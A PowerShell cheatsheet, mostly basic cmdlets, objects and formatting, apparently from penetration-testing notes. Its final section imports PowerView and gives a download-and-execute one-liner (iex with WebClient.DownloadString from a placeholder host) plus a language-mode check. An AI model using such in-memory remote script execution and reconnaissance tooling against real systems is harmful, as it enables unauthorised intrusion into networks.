Cheatsheet

Basics

• Search Commands

  #list all powershell cmdlets, functions and alias
  Get-Command
  
  #search ommands that starts with get
  Get-Command get*
  
  #search commands that ends with object
  Get-Command *object
  
  #search command for a verb
  Get-Command -Verb Get
  
  #search command for a noun
  Get-Command -Noun Object
  

• Help

  #get help for the command New-Object
  Get-Help New-Object
  
  #List Examples for New-Object
  Get-Help New-Object -Example
  
  #get detailed help for New-Object 
  Get-Help New-Object -Detailed
  
  #get online help for the command
  Get-Help New-Object -Online

• Alias

  # Print all alias
  Get-Alias
  
  #search alias
  Get-Alias search_term

• Variables

  #Storging values/object/data in variable
  $myobj = Get-Childitem
  $myobj = Get-Location
  $myobj = "Doctor Dragon"

Filesystem

• Filesystem Navigation

  #list files and directories; ls
  Get-Childitem
  
  #change directory; cd
  Set-Location
  
  #print current working directory; pwd
  Get-Location
  
  #print content of the file; cat
  Get-Content filename

Classes and Objects

• Creating a Class in Powershell

  class human{
  	[string]$name
  	[int]$age
  	[string]greet(){
  		return "$($this.name) is $($this.age) years old"
  	}
  }

• Creating objects from a class

  # creating instance of a class using accelerator
  $drdragon = [human]::new() 
  $myname = [System.String]::new("Hello World")
  
  # creating a instance of a class using cmdlet
  $drdragon = New-Object -TypeName human
  $myname = New-Object System.String("Hello World")

• List Properties and Methods of Objects

  # get properties and methods for the object
  $myobj | Get-Member
  Get-Childitem | Get-Member

• Accessing Properties and methods of object

  # Acess property for the object
  $myobj.Length
  (New-Object System.String("drdragon")).Length
  
  # execute methods for the object
  $myobj.Remove(1)
  (New-Object System.String("drdragon")).Remove(1)

• Selecting Objects

  # print specific property of an object
  Get-Childitem | Select-Object -Property Name,Parent
  $myobj | Select-Object -Property Name
  
  # print all property of an object
  $myobject | Select-Object -Property *
  
  # Alisas for Select-Ojbect
  Get-ChildItem | select Name, Parent

• Filtering Objects

  # filter output if object's Name property is equal to "etc"
  Get-Childitem | Where-Object {$_.Name -eq "etc"}

Format Object

• Format-List

  # Prints Properties of an object in a key-value pair format
  Get-Childitem | Format-List
  
  # Prints secific property
  Get-Childitem | Format-List -Property Name,Parent

• Format-Table

  # Default way of printing objects
  # Prints properties of object in a table format
  Get-Childitem | Format-Table
  
  # Prints secific property
  Get-Childitem | Format-Table -Property Name,Parent

Running Scripts

• Local Scripts

# dot source
. .\Tools\Powerview.ps1

# Using cmdlet
Import-Module C:\Tools\Powerview.ps1

# Get commands imported by a module
Get-Command -Module <ModuleName>

• Remote Scripts

iex (New-Ojbect Net.webClient).DownloadString('https://server.com/powerview.ps1')

Language Mode

# Check current powershell session language mode
$ExecutionContext.SessionState.LanguageMode